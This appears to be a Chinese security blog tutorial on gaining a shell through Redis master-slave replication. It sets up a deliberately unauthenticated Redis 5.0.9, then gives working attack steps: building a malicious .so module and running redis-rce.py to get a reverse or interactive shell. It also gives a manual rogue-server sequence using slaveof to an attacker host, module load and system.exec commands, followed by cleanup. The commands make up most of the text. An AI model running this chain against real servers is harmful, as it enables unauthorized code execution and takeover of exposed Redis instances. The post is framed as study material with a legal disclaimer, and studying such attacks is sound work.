redis远程备份脚本_Redis主从复制Getshell学习

主从复制

    Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。

部署redis

注意：主从复制的利用方式不需要root权限，在6.0.5版本及以后版本中已经修复了该问题。，所以这里要下载6.0.5以下的版本，同时需要高于4.x的版本才行(因为4.X才有的加载模块的功能)。

下载：http://download.redis.io/releases/redis-5.0.9.tar.gz

编译安装：

tar -zxf redis-5.0.9.tar.gz

cd redis-5.0.9

make

cd src

make install

启动：

redis-server

高版本的redis默认安装后是不允许远程连接的，且需要密码认证，所以需要修改一下配置文件：

vim redis-5.0.9/redis.conf

注释掉下面这行,或者改成bind 0.0.0.0

将yes改为no,取消密码认证

重新运行redis-server  redis-5.0.9/redis.conf (因为是源码安装，这里需要指定配置文件进行启动)

Getshell原理

在redis 4.x之后的版本中，允许以模块化的形式从外部加载.so文件，而这个文件中代码将会变成redis功能的一部分，从而实现功能扩展。我们利用这个功能通过编译恶意的.so文件，并将该文件同步到从属redis上，进行加载，即可实现恶意代码的功能。

过程

.so源码下载地址：https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

编译

cd  RedisModules-ExecuteCommand

make

然后生成一个so文件RedisModules-ExecuteCommand/src/module.so

1.下载自动化攻击脚本：

git clone https://github.com/Ridter/redis-rce.git

命令：

pip install -r requirement.txt

python3 redis-rce.py -r 192.168.194.129 -p6379 -L 192.168.194.1 -fmodule.so

选择一个shell方式：

选择交互式shell：

使用反弹shell:

2.如果是用手动的方式：

下载工具：https://codeload.github.com/LoRexxar/redis-rogue-server/zip/master

启动一个模拟的redis服务

python RogueServer.py --lport 1234 --exp exp.so

然后利用未授权访问漏洞连接对方redis服务：

#设置redis的备份路径为当前目录

config set dir ./

#设置备份文件名为module.so，默认为dump.rdb

    config set dbfilename module.so

#设置主服务器IP和端口

    slaveof 192.168.194.11234 #就是这一步，决定了后面会从这里加载恶意so文件。

#加载恶意模块

    module load ./module.so 

这个加载module本身其实在配置文件里也可以写上加载的模块路径，但因为是攻击，所以一般不具备修改配置文件的条件：

redis.conf

#切断主从，关闭复制功能

    slaveof no one

#执行系统命令

    system.exec 'whoami'

#通过dump.rdb文件恢复数据

    config set dbfilename dump.rdb

#删除exp.so

    system.exec 'rm ./exp.so'

#卸载system模块的加载

    module unload system

参考:

https://paper.seebug.org/975/

https://www.cnblogs.com/xiaozi/p/13089906.html

------------------------------------------------------------------------------

欢迎分享转发。

喜欢的话动动手指点个“关注”和“在看”吧~

(信安随笔)

------------------------------------------------------------------------------

免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用，请遵守《网络安全法》等相关法律法规。